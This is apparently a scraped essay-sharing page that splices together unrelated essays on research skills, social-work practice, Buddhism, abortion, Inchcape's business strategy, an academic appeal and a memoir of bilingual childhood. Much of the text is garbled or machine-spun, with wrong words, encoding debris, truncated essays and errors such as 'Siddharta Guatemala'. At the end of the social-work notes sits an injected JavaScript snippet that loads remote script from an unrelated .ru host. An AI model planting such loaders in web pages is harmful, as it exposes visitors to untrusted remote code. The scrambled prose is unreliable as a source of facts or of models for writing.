Critical Evaluation Of Writing A Literature Review

Introduction The English oxford dictionary defined research skills as the systematic investigation into and study of materials and sources in order to establish facts and reach new conclusions. However, developing research skills is a process that takes hard work and determination, as a result student finds it very difficult to attain the required level needed for a good researcher. This critical reflection is based on my research skills. The action which was embark on to measure the development of my research skills was handling of data gathered for my different course works and analysing them for critical literature review writing. Analysis of skills developed: Research in a simplistic form refers to a quest for information. It can also be defined as a â€Å"scientific and systematic search for pertinent information on a specific topic. In fact, research is an art of scientific investigation† (Kothari, 2004).Research skills help a researcher to gather data which can be transformed into findings and become knowledge. All most every course work I have written have a literature section. Writing a literature review requires strong analytical skills, thus information gathered needs to be through manage and present and a concise but meaningful way for a good literature review. Application of skills developed The development of the above mentioned research skill guided my every course work and through it, a successful and analytical data gathering and subsequent academic goodShow MoreRelatedEssay about Critical Thinking: Evaluation1572 Words   |  7 PagesCritical Evaluation of an Academic Source Odetta Rodriguez Capella University Critical Evaluation of an Academic Source This paper is a summary of critical evaluation of the suitability of an article as an academic source. The title of the article is Critical Thinking: An Extended Definition. The author, Professor Ken Petress, analyzes various definitions of critical thinking and provides his definition of the concept as well. It is vitallyRead MoreRole of Literature in Research1513 Words   |  7 Pages[pic]DEPARTMENT OF MANAGEMENT THE ROLE OF LITERATURE REVIEW IN THE RESEARCH PROCESS A TERM PAPER PRESENTED IN PARTIAL FULFILMENT OF THE REQUIREMENT FOR THE COURSE RESEARCH METHODS BY SIAW-ASAMOAH JOYCELYN Literature simply is a body of written works. It is what has been written to be investigated, thus an existing body of written works or knowledge on a chosen topic or problem area. The name is often applied to those imaginative works of poetry and prose distinguished by the intentions ofRead Moreliterature review1550 Words   |  7 PagesWriting a Literature Review A literature review†¦ †¢ Provides an overview and a critical evaluation of a body of literature relating to a research topic or a research problem. †¢ Analyzes a body of literature in order to classify it by themes or categories, rather than simply discussing individual works one after another. †¢ Presents the research and ideas of the field rather than each individual work or author by itself. A literature review often forms part of a larger researchRead MoreEvaluation Of The Enquiry Methods, Tools And Processes Used By Carrying Out The Tasks For The Managing People1438 Words   |  6 Pagesoutline all the major issues which have been highlighted by the student in producing assignments for the module. It will serve as a piece of work which can be used in the future to identify strengths and weaknesses, and guidance in writing future assignments. Evaluation of the research, methods, tools and processes used â€Å"It is important to ensure that you are in a position to write the report before you start.†(Forsyth,P. How to write Reports and Proposals p.43) Completion of the Managing PeopleRead MoreThe Project Is Fine Tuning Work Done From Previous Course Work?1215 Words   |  5 Pagesproject. Literature Review: The literature review is a significant section of the capstone project. This section requires significant work and research. It is important to recognize that the literature review is not a book report, or an abstract of literature that was read for the project (Maryville University, 2012). Rather, the literature review is designed to illuminate the reader on the types of literature that were considered for the writing of the project. Also, the review should captureRead MoreJournaling Essay1115 Words   |  5 PagesIntroduction The intent of this evaluation of Langer’s (2002) article is to find the schemes he employed to acquire knowledge on how adult’s student respond to demand computer class, reflect critically, in summation, the contrast between non-traditional and traditional students about the use of deviations journals in the field. The focal point of the study casts light on the strength and weaknesses portrayed in his report on the use of journaling among traditional and non-conventual students (LangerRead MoreNarrative Literature Reviews1589 Words   |  7 PagesNarrative literature reviews Introduction n A literature review is a comprehensive study and interpretation of the work that has been published on a particular topic n A literature review should convey the knowledge and ideas that have been established on a topic and their strengths and limitations Why undertake a literature review? n To provide a review of the current knowledge in a particular field n Provide a description of research studies n Identify gaps in current knowledge n Identify emergingRead MoreQualitative Study1396 Words   |  6 PagesQualitative Study Evaluation Edwina Williams u5a1 Capella University Fall November 2011: Address (optional): City, State, Zip (optional): Phone (optional): E-mail: Instructor: Vickie Claflin Qualitative Study Evaluation Evaluation of the Title The title of this research study is: The internet and student research: teaching critical evaluation skills. I believe that this title is suitable for the research study because it is an overview of theRead MoreCritical Examination of Brooks The Formalist Critics1015 Words   |  5 Pagesits end, and seems to complain that his that his writings have been largely misunderstood. What his statements have to do with faith in connection with literature is up to the reader, since in one of his articles he specifically mentions, â€Å"literature is not a surrogate for religion† (Brooks 19). He seems to contradict himself on purpose and keep his central thesis hard to reach. In evaluating some of his â€Å"faith articles†, the reader can have a critical examination of his critique of his formalist criticismRead MoreImportance And Characteristics Of Literature Reviews1615 Words   |  7 PagesImportance and Characteristics of Literature Reviews A literature review examines existing research that is important to the work that you want to do. Literature reviews provide important background information and details about a specific research topic. Providing background information can help to demonstrate the importance of a topic, and can help to establish understanding of a subject or issue. An effective literature review also provides a space to elaborate on future work to be done on a

Base Of Social Work Essay Research Paper free essay sample

Base Of Social Work Essay, Research Paper Knowledge Base of Social Work: Practice methods that correspond to the degrees of Practice are: 1. Micro degree of practice- direct practice/service delivered straight to clients ( face to face and minimum administrative work. 2. Mezzo degree of practice- indirect pattern affecting administration/leadership functions enabling effectual bringing of services. ? Policy preparation ? Program design ? Funding ? Management ? Supervision ? Organizational and Public Relations ? Community Education ? Monitoring for Improvement of Productivity 3. Macro degree of practice- involves the procedures of Social Planning and Community Organization ? Professional Change Agents who assist Comm. Action Systems composed of persons, groups or Organizations deal with societal jobs ? Program planning and development, working with governmental agents and Comm. ? Execution of Programs 4. Research- drive force behind strict promotion of cognition Doctrine of Direct Practice 1. Peoples are capable of doing their ain alteration ; they have free will 2. Assist people maximize their possible and independency 3. Change environmental influences that adversely impact clients 4. Increase understanding that behaviour is purposive and end directed and this is non readily discernable. 5. Peoples are capable of larning new behaviours 6. Most troubles can be resolved by concentrating on present picks and mobilising their strengths 7. Increasing people # 8217 ; s cognition and larning new accomplishments produces self growing in the procedure 8. Use schemes that motivate people to implement alterations in assorted types of systems 9. Life # 8217 ; s crises represent chances for growing and command is a beginning of strain in life 10. Peoples need self-affirmation and self-pride. Many struggles are indirect look of feelings of low self-pride. 11. Human growing occurs in the context of relationships with other people 12. We model for others unfastened reliable relationship skills/behaviors 13. Increase reactivity to the demands of others 14. Populate in the world of the present motivates people to exert their potencies more to the full 15. Means of helping clients should safeguard self-respect, self-esteem, self-government and confidentiality 16. Awareness of ego is the first measure to self-fulfillment 17. Peoples right to their ain values and belief systems are intact. It is societal work # 8217 ; s duties to help clients to confront these facets of those beliefs that cause disfunction in their lives. The Helping Procedure Phase I: 1. Establishing resonance 2. Exploring client # 8217 ; s jobs 3. Explicating multidimensional appraisal of the job, systems involved and resources available 4. Enhancing motive of client 5. Mutually negotiating ends and explicating a contract Phase II: -The participants combine their attempts in working towards the ends, dwelling of distinct actions or undertakings that are built-in units of the overall end -Practitioners has the duty of choosing and implementing intercessions that will help clients in carry throughing their ends and undertaking. -Interventions should straight associate to the jobs and to the consequent ends that were negotiated and that were derived from accurate appraisal. -Monitor betterment on regular footing -Use of ego in procedure suitably provides for clients a theoretical account of unfastened an reliable relationship Phase III: 1. Buttocks when persons and group ends have been attained and plan expiration consequently 2. Effecting successful expiration of the assisting relationship 3. Planing for care of alteration and continued growing following expiration 4. Measuring the consequences of the aid in procedure The Cardinal Values of Social Work 1. Developing and utilizing resources 2. Confirming the worth and self-respect of clients 3. Confirming uniqueness and individualism 4. Confirming problem-solving capacities and self-government 5. Safeguarding confidentiality Measuring Group Process 1. A Systems Framework for Measuring Groups- groups are societal systems and therefore germinate inexplicit regulations or norms that govern behavi9ors, form forms, and modulate internal operations. ? As leaders observe groups to spot patterned behaviours, they must at the same time go to to behavior manifested by persons and by the group itself. ? A major functions of leaders in growing groups, is to help members to go cognizant of their patterned behavioural responses, to find the impact of these responses on themselves and others and to take whether to alter such responses. ? Understand Content ( verbal statements ) and Process ( the behaviours displayed by members during the group ) ? Identify functions of group members because they can impact the group # 8217 ; s capacity to react to the single demands of members and its ability to carry through curative aims. ? Members tend to play-out in groups the same functions that they assume in other societal contexts and demand to understand the impact of dysfunctional functions on themselves and others. ? Identify the growing of persons by maintaining a record on each individual to place growing. ? Appraisal must see the cultural background of members ? Assess cognitive forms of the group members Phases of Group Development 1. Preaffiliation-Approach and Avoidance Behavior displayed as probationary engagement, hovering willingness to presume duty, interact with others, and to back up plan activities and events. 2. Power and Control-A Time of Transition into intimate system of relationships ; whereby the new state of affairs becomes apprehensible and predictable. They struggle at this phase concerned with how they rank in relation to other members. Conflicts between opposing subgroups frequently occur in this phase. 3. Intimacy-Developing a Familial Frame of Reference for the group means they see a we-ness and committedness to the group intent. A group character will germinate with a manner and a set of values. 4. Differentiation- Developing Group Identity and an Internal Frame of Reference for the group means they have achieved group-centered operations and single and group demands evolve. Greater freedom of personal look develops with feelings of echt credence and value. 5. Separation- A Time of Breaking Away means for the group a clip of loosening intense bonds and a hunt for new resources and ties to fulfill demands. Patterned Group Behavior ( positive behaviours manifested early on in groups ) ? The group faces up to a job and makes alteration or accommodation ? The group responds positively the first clip a member takes a hazard ? Members of the group are invested and supportive toward other members ? The group moves in + way without the leader # 8217 ; s counsel or intercession ? The group works harmoniously for a period of clip ? Members efficaciously make a determination together ? Members adhere to a specific group goal/work to carry through ? Members give + feedback or detect + ways the group has worked together ? The group responsibly confronts a member who is ruling interaction or interfering with the undertaking ? Members pitch in to clean up after a group session Social Conflict Approach with Clients Under Duress -The challenge of the practician is to minimise or cut down the reactance by reacting in ways that lessen the client # 8217 ; s perceived menace to freedom. Reacting in unexpected ways that cut down menace. These unexpected ways of response convey the feeling of wanting to be an ally instead than an antagonist. 1. Stress picks that are available 2. Contracts in ways aimed at reconstructing freedom 3. Stephen fosters care of some current behaviours to minimise clients # 8217 ; frights of losingss 4. Focuss on limited and specific alterations instead than on planetary and sweeping alterations that would be endangering and unacceptable. 5. Maximizes self-government within parametric quantities determined by the state of affairs Crisis Intervention / gt ; 1. Is clip limited 2. Focuss on jobs of populating instead than abnormal psychology 3. Oriented to the here and now 4. Involves a high degree of activity by the practician 5. Employs undertakings as a primary maneuver of alteration attempts 6. An eclectic model that can suit assorted pattern theories and intercessions Initial Phase of CI 1. To alleviate the client # 8217 ; s emotional hurt 2. To finish an appraisal 3. Plan the scheme of intercession Empowering Peoples with AIDS *Patrick Haney left behind a bequest of guidelines for authorising people with AIDS. 1. Modify their mentality that they are non a victim, merely people with AIDS. A perceptual experience of being a victim Fosters passiveness and a sense of weakness. 2. Focus more on chances for doing the most of a bad state of affairs and less on the fatalistic facets of the disease. 3. Help them to happen people who can supply them with support and they themselves must be caring and supportive. Cognitive Restructuring ( Cognitive Therapy ) ? Most societal and behavioural disfunction consequences straight from misconceptions that people hold about themselves, other people, and assorted life state of affairss. ? Cognitive restructuring is a systematic intercession that is peculiarly utile in helping clients to derive consciousness of dysfunctional and self-defeating ideas and misconceptions that impair personal operation and to replace them with beliefs and behaviours that are aligned with world and lead to heighten operation. ? CT techniques are relevant for jobs associated with low self-prides, distorted perceptual experiences in interpersonal dealingss, unrealistic outlooks of ego, others, and life in general, irrational frights, anxiousness and depression, unequal control of choler and other urges, and deficiency of assertiveness. ? CT is frequently blended with other intercessions ( patterning, behavioural, relaxation, assertiveness, and drug therapy ) because combination of theories is more effectual than individual intercessions. ? Caution: Dysfunction may be caused by a assortment of biophysical jobs, including encephalon and neurological upsets, thyroid instability, blood sugar instability, consumption of toxic substances, malnutrition and other signifiers of chemical instability of the organic structure. Stairss in Cognitive Restructuring 1. Assist clients to accept that their self-statements, premises and beliefs mostly mediate their emotional reactions to life # 8217 ; s events 2. Assist clients to place dysfunctional beliefs and forms of ideas that underlie their jobs ? Ask them how they reached certain decisions ? Challenging them to show grounds back uping dysfunctional positions or beliefs ? Challenging the logic of beliefs that magnify feared effects of certain actions -By deriving pattern in placing and measuring the cogency of self-statements and beliefs, clients achieve preparedness to prosecute in self-monitoring between Sessionss. Self-monitoring expands self-awareness and paves the manner for subsequently get bying attempts. 3. Assist Clients to place state of affairss that engender dysfunctional knowledges. 4. Assist clients to replace functional self-statements in topographic point of self-defeating knowledges. 5. Assist clients to honor themselves for successful header attempts. -Limitations of CT: Often the clients lack societal accomplishments and necessitate direction and pattern before they can efficaciously execute new behaviours. CT is frequently used in combination with practician mold, behavioural dry run, and guided pattern to help clients to get the hang indispensable accomplishments needed. Troubles in Trusting and Transference ? Aloofness and intuition are defensive forms that protect clients from imagined injuries, development, rejection, unfavorable judgment, penalty, and control by others. ? Trying to carry clients of one # 8217 ; s purpose is normally counterproductive, alternatively exercising forbearance and continuity. ? Attempt to make clients who cancel or miss assignments by phone or home-call ( missive is less effectual ) . Acknowledge that their failure to maintain assignments is more a form of turning away than a deficiency of motive. ? Transference Chemical reaction: the client transportations to the practician wants, frights, and other feelings that are rooted in the past experiences with others hindering the procedure. ? Transference Reactions involve over generalised and deformed perceptual experiences that create troubles in interpersonal relationships. ? Its besides an chance for growing. The challenge is to help such clients to acknowledge their deformed perceptual experiences and to develop finer interpersonal perceptual favoritisms so that they can distinguish and cover with others as alone persons instead than overgeneralise projections of images, beliefs, or attitudes. Pull offing Transference Chemical reactions -It is critical to switch concentrate to their here-and-now feelings. 1. Be unfastened to the possibility that the client # 8217 ; s reaction is non unrealistic and by be produced by your behaviour and respond genuinely by having duty for your behaviour. 2. It is of import to react in different ways that the client # 8217 ; s awaited response from their past interactions. This forces the client to distinguish the practician from past figures. 3. Help the client to find the immediate beginning of deformed perceptual experiences when the feelings emerge. By researching these feelings and non rectifying them you assist the client to spread out their consciousness of their forms of overgeneralising. 4. After clients have discerned the unrealistic nature of their feelings and manifested consciousness of the deformations portion your existent feelings. This can reassure clients who have felt offended, hurt, resentful, rejected or the similar. 5. After you have examined the debatable feelings, assist clients to find whether they have experienced similar reactions in other relationships. To help clients to spot forms of deformations that creates troubles in other relationships. Countertransference Chemical reactions -It green goodss distorted perceptual experiences, blind musca volitanss, wants, and antitherapeutic emotional reactions and behaviour. Such as: ? Deviating clients from showing choler because healer is uncomfortable ? Overidentifying with rebellious striplings due to unsolved feelings towards autocratic parents -Becoming aware of unrealistic feelings toward a client or of reactions are signals that a practician should instantly take appropriate disciplinary steps. Otherwise the countertransference will restrict the practician # 8217 ; s possible helpfulness or contribute to the client # 8217 ; s disfunction. -The first measure in deciding countertransference is to prosecute in self-contemplation ( analytical duologue with oneself aimed at find ) -The 2nd measure if 1st doesn # 8217 ; t work is to discourse it with a co-worker or another professional for difference position. -Not all negative feelings or reactions are due to countertransference. Look beyond the violative qualities of certain clients and discover positive qualities. Efficaciously Pull offing Sexual Attraction ? Take disciplinary steps such as self-contemplation or confer withing with another professional. Pull offing Resistance -Rule of pollex: If opposition International Relations and Security Network # 8217 ; t strong plenty to hinder advancement, its best ignored. 1. Bring it to discussion by concentrating on the here-and-now feelings that underlie opposition. ? An reliable response that conveys the practician # 8217 ; s good will and concern besides reaffirms the helpful purpose and desire to work on troubles. ? Initiate geographic expedition of the beginning of opposition ? Accredit their strengths when they discuss the feelings, to kill the feared response and reenforce the client for unwraping hazardous feelings 2. Use Positive Intensions to assist clients acknowledge the positive and negative sides of opposition. ? The end is to minimise the client # 8217 ; s needs to support themselves and to safeguard their already unstable self-prides. It is of import to assist clients acknowledge that their indecent reactions derived from deformed perceptual experiences and to promote them to show their feelings straight in the hereafter. 3. Redefine Problems as an chance for Growth 4. Confront forms of opposition. 5. Use Curative Binds-Confronting clients in a manner that they either have to alter or ain duty for taking to perpetuate their troubles. Use to help non move out defeat. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

What is Buddhism Essay Example For Students

What is Buddhism? Essay Buddhism is a path of teaching and practice. Buddhist practices such asmeditation are means of changing oneself in order to develop the qualities ofawareness, kindness, and wisdom. The experience developed within the Buddhisttradition over thousands of years has created an incomparable resource for allthose who wish to follow the path of spiritual development. Ultimately, theBuddhist path culminates in Enlightenment or Buddhahood. Who was the Buddha?The word Buddha is a title not a name. It means one who is awake inthe sense of having woken up to reality. The title was first given to a mancalled Siddharta Guatemala, who lived about 2,500 years ago in Northern India. When he was 35 he found Enlightenment whist in profound mediation, aftersearching for years. In the next 45 years of his life he spent it travelingthrough India teaching his way of life. His teaching is known as Buddha-dharma. We will write a custom essay on What is Buddhism? specifically for you for only $16.38 $13.9/page Order now Traveling from place to place, the Buddha gained many disciples. Theyalso taught of the enlightment, and the chain has continued on to this presentday. The Buddha was not a God, and he made no claim to divinity. There is noconcept of a creator in Buddhism. He was a human being who, thought tremendousefforts, transformed himself. The state of Enlightenment which he reached has three main facets. Itis a state of wisdom, of insight into the true nature of things. It is also asource or boundless compassion, manifesting itself in activity for the benefitof all beings. and it the total liberation of all the energies of the mind andthe body so they are at the service of the fully conscious mind. What Happened After the Buddhas Death?Buddhism died out in India a thousand years ago, though it has recentlyrevived. In the last century Buddhism has emphatically arrived in the West andup to one million westerners have become Buddhists. What Does Buddhism Teach?Buddhism sees life as being in process of constant change and itspractices aim to take advantage of this fact. It means that one can change forthe better. The decisive factor in changing ourselves is the mind and Buddhismhas developed many methods for working on the mind. Most importantly, Buddhistspractice meditation which is a way of developing more positive states of mindwhich are characterized by calm, concentration, awareness, and emotions such asfriendliness. How do you become a Buddhist?To become a Buddhist in the full sense means committing oneself to thecentral ideas of Buddhism. The Buddhist path is open to all equally: men andwomen, young and old, people of all nationalities, races and backgrounds. RebirthRebirth in the Six RealmsBuddhism teaches that birth, death and rebirth are part of thecontinuing process of change. The is similar to the continuous process ofgrowth, decay, and replacement of cells in ones body. According to medicalexperts, after every seven years, all the cells in ones body are replaced bynew ones. At the moment of death, and the body can no longer survive, the mind isseparated from the body. At that time, the craving for lives causes one to seeka new existence, and the karma done previously determine the place of onesrebirth. There are six realms which one may be reborn after death. They are therealms of gods, the demigods, human beings, animals, hungry ghosts, and thehells. In general, wholesome actions like good conduct, charity, a and mentaldevelopment, are the cause of rebirth in the happy realms of gods, demigods, andhuman beings. On the other hand, unwholesome actions like immoral conduct,miserliness and cruelty cause rebirth in the unhappy realm of animals, hungryghosts and the hells. .u3c7a4ed1f68235071486d80481bcd7f7 , .u3c7a4ed1f68235071486d80481bcd7f7 .postImageUrl , .u3c7a4ed1f68235071486d80481bcd7f7 .centered-text-area { min-height: 80px; position: relative; } .u3c7a4ed1f68235071486d80481bcd7f7 , .u3c7a4ed1f68235071486d80481bcd7f7:hover , .u3c7a4ed1f68235071486d80481bcd7f7:visited , .u3c7a4ed1f68235071486d80481bcd7f7:active { border:0!important; } .u3c7a4ed1f68235071486d80481bcd7f7 .clearfix:after { content: ""; display: table; clear: both; } .u3c7a4ed1f68235071486d80481bcd7f7 { display: block; transition: background-color 250ms; webkit-transition: background-color 250ms; width: 100%; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #95A5A6; } .u3c7a4ed1f68235071486d80481bcd7f7:active , .u3c7a4ed1f68235071486d80481bcd7f7:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #2C3E50; } .u3c7a4ed1f68235071486d80481bcd7f7 .centered-text-area { width: 100%; position: relative ; } .u3c7a4ed1f68235071486d80481bcd7f7 .ctaText { border-bottom: 0 solid #fff; color: #2980B9; font-size: 16px; font-weight: bold; margin: 0; padding: 0; text-decoration: underline; } .u3c7a4ed1f68235071486d80481bcd7f7 .postTitle { color: #FFFFFF; font-size: 16px; font-weight: 600; margin: 0; padding: 0; width: 100%; } .u3c7a4ed1f68235071486d80481bcd7f7 .ctaButton { background-color: #7F8C8D!important; color: #2980B9; border: none; border-radius: 3px; box-shadow: none; font-size: 14px; font-weight: bold; line-height: 26px; moz-border-radius: 3px; text-align: center; text-decoration: none; text-shadow: none; width: 80px; min-height: 80px; background: url(https://artscolumbia.org/wp-content/plugins/intelly-related-posts/assets/images/simple-arrow.png)no-repeat; position: absolute; right: 0; top: 0; } .u3c7a4ed1f68235071486d80481bcd7f7:hover .ctaButton { background-color: #34495E!important; } .u3c7a4ed1f68235071486d80481bcd7f7 .centered-text { display: table; height: 80px; padding-left : 18px; top: 0; } .u3c7a4ed1f68235071486d80481bcd7f7 .u3c7a4ed1f68235071486d80481bcd7f7-content { display: table-cell; margin: 0; padding: 0; padding-right: 108px; position: relative; vertical-align: middle; width: 100%; } .u3c7a4ed1f68235071486d80481bcd7f7:after { content: ""; display: block; clear: both; } READ: Scarlet Letter 4 = EssayOf all the six realms, the realm of human beings is considered the mostdesirable. In the realm of human beings, the conditions for attaining Nirvanaare better. In general, in the unhappy realms, the suffering of living beingsis so intense and their ignorance so great that they are unable to recognize theTruth and follow the path to attain freedom. Alternatively, living beings in therealms of the gods and demigods experience so much happiness and have so manydistractions that they do not think of rebirth until it is too late. Then theymay be reborn in one of the lower realms of suffering. In the realm of humanbeings, however, people experience both h appiness and suffering, and areintelligent enough to recognize the Truth and follow the path to attain freedomfrom the cycle of birth and death. Therefore, one is indeed fortunate to beborn as a human being, and should remember that the principal cause of birth inthe realm is Good Conduct. The Cycle of Birth and DeathThe Buddha pointed out that whenever one is reborn, whether as a humanbeing, as an animal, or as a god, non of these states of exticence is permanent. The average life span of the living beings in the six realms of existence differbut none of them lasts forever. Eventually, rebirth will take place. The realminto which one is reborn and ones conditions of rebirth are determined by onespast and present actions. This is the law of Karma at work. Because of the force of their karma, people are born are rebornendlessly, in one realm of existence or in another. The Buddha declared thatthere is no permanent rest in the cycle of birth and death. It is only when onefollows the Noble Eightfold path taught by the Buddha and eventually attainsNirvana, that one finally becomes free from the ceaseless cycle and gainssupreme and permanent happiness. KarmaKarma is the law of moral causation. It is action and reaction in theethical realm. It is natural law that every action produces a certain effect. So if one performs wholesome actions, one will experience happiness. on theother hand, if one performs unwholesome actions, one will experience suffering. The is the law of cause and effect at work. In this way, the effect of onespast karma determine that nature of ones present situation in life. Category: Religion

anti-abortion research essay essays

anti-abortion research essay essays The definition of life according to Websters Dictionary is the property or quality that distinguishes living organisms from dead organisms and inanimate matter.(Websters Dictionary) According to this definition, what do murder, capital punishment, euthanasia and abortion all have in common? They all take away a life, but in Canada only one of these is not against the law and occurs over one hundred and thirty thousand times a year: abortion. Prior to the nineteen-seventies, abortion was illegal in Canada and was punishable by incarceration. Legal abortion was unheard of prior to this decade, and if this act was committed, a horrific stigma was placed upon such an individual. This was the most progressive and most active time period for the pro-choice movement. In history, the nineteen-seventys, was when values and beliefs began to change and more individuals began to speak out against the abortion laws. Today abortion has become a normal medical procedure, just like having ones tonsils removed. The present society has recognized the rights of the individual as very important because of the shift in societal values. As society progresses and changes its values, issues such as abortion have become more acceptable within the new limitations of societal values and beliefs. Abortion must be viewed as a whole instead of being judged as individual cases, and in doing such society will see abortion as morally wrong and, in turn, will make this act illegal once again. During the nineteenth century, society had great respect for life, as morals and the greater good were seen as important. Laws are a set of regulations and statutes that are made up of popular societal values and beliefs that are important by the members of society. As such, the belief of the right and respect of life was portrayed through the beliefs of the nineteenth century society. However, there was still the minority which...

Business and Marketing Management Essay Example | Topics and Well Written Essays - 2000 words

Business and Marketing Management - Essay Example The company has a unique model with retailing and distribution operations. The company also has the "Inchcape Fleet Solutions" that is the UK's largest independent leasing company and it is managing a fleet in excess of 53000 cars. The company's vision is to be the most customer-centric automotive retailer group. According to them the cutting edge in the services industry is the quality of service provided to the customers. They believe that consistent provision of quality services increases loyal customers and also helps them achieve their financial and industrial targets. The company has 208 retail outlets and 85 distribution sites all around the world, each boasts of superiority and excellence in service. The company's strategy is simple and that is to focus on customer service and operational excellence to strengthen their business. They have four crucial elements to support their strategy. First are their people, since they believe that people and human resources are of prime importance to any businesses success. Second is performance management, since they have set the "best in class" gold standards to achieve excellence in performance. Third is their technology and service infrastructure, since they aim to improve the infrastructure to reduce cost and time in order to focus more on customer satisfaction. Lastly, is efficient allocation of capital in order to make good use of growth opportunities. They aim to work within the 7 P's namely; product, price, promotion, place, people, process (customer satisfaction) and physical evidence. Their strategic priorities are to strengthen their existing core business and expand in potential markets. Situation... The company’s strategy is simple and that is to focus on customer service and operational excellence to strengthen their business. They have four crucial elements to support their strategy. First are their people, since they believe that people and human resources are of prime importance to any businesses success. Second is performance management, since they have set the â€Å"best in class† gold standards to achieve excellence in performance. Third is their technology and service infrastructure, since they aim to improve the infrastructure to reduce cost and time in order to focus more on customer satisfaction. Lastly, is efficient allocation of capital in order to make good use of growth opportunities. They aim to work within the 7 P’s namely; product, price, promotion, place, people, process (customer satisfaction) and physical evidence. Their strategic priorities are to strengthen their existing core business and expand in potential markets. Situation Analysi sInchcape is very much capable of expanding their business in potential markets and also to strengthen their core business. Their main focus is operational excellence and their activities include retailing and distribution. Customer satisfaction is essential to them since they are aware of the fact that customers can easily switch to their competitors. In order to support their vision that is to become the most customer-centric automotive retailer group, the company has been consistent in investing in dealership premises.

Appeal letter suspension Essay Example | Topics and Well Written Essays - 250 words

Appeal letter suspension - Essay Example However, while I was placing significant amount of time in my English, my performance in other units went down the gutter. My advisor further advised me to drop the other units that were giving me challenges and pick PE and GEC classes, but then I would not have sufficient credits to fill the required 12 credits that I needed for the semester. This meant that my only way out of the problem was to deal with the tough courses. I attempted my best and got through with the semester. Further problems emanated from the fact that I lived far and travelling cost me a great time that I would have spent studying or visiting my family. Attempts to correct this problem were futile, at least in the timeline that I intended. Nevertheless, I made every effort possible to produce good results, and I managed to raise my GPA from 0.91 to 1.583. My current efforts are geared towards raising my GPA above 2.0, and I hope to get the opportunity to do so next Fall semester. Please understand that the performance that I have presented over the recent semester does not reflect my academic capabilities, but is coupled with other problems that I was going through. I am currently working hard to improve my situation and promise that I will record a GPA of more than 2.0 next Fall semester. Thank you for your consideration and for accepting my

Richard Riodriquezs memoir of a bilingual childhood Essay Example for Free

Richard Riodriquezs memoir of a bilingual childhood Essay Richard Riodriquez in his A Memoir Of a Bilingual Childhood is recalling his memories about how he felt as a bilingual child in the American society. While doing so and reflecting on these memories, he refutes the idea of alienating the bilingual children by educating them through their native language. He presents very interesting thoughts about the true reflections of intimacy and how that relates to language. Choosing certain words to convey his feelings, Riodriquez engages his readers to sense the change of his attitude towards his identity as an American citizen of foreigner parents. When he reflects on his early childhood, he repetitively uses the words distant, foreigners, strain, confused and hard to describe his and his familys interactions with the others, los gringos. For him, his safety and family intimacy were all symbolized just by speaking their own private language that separates them from the public. This way, he felt secure as an individual rather than a member of a mysterious huge crowd. Richard Riodriquezs tone overall is a reflective emotional one that triggers the readers emotions to feel the same as the writer and agree with what he says. He beautifully uses different tools to achieve that. One tool was his excessive descriptions for his feelings by using clear sentences with many different adjectives throughout his essay. Another tool was his repetitive using figurative language to clarify his thoughts. For example, he wrote as confused as the threads of blue and green oil in the puddle next to my shoes. as well as the clash of two worlds. Rhetorical questions like But I would have delayed postponed for how long? are another tools that Richard Riodriquez uses to convince his readers. I liked the beauty of the language Riodriquez expressed his thoughts. Some of the analogies and metaphors he drew were quite powerful and made me feel the gloominess or excitement he felt. I also liked the way he explored and defined identity and intimacy. As he grew up, he found out that interacting with the others and speaking their language does not mean losing neither his identity nor the intimacy with his different family. Individuality is not by separating oneself from the community as many others believe but it can still be achieved while mingling with the society and owning a public  identity. I liked how he clearly concluded that intimacy, which he was struggling to protect in his childhood, is not by speaking the same language for example but it is by the meanings behind the words spoken.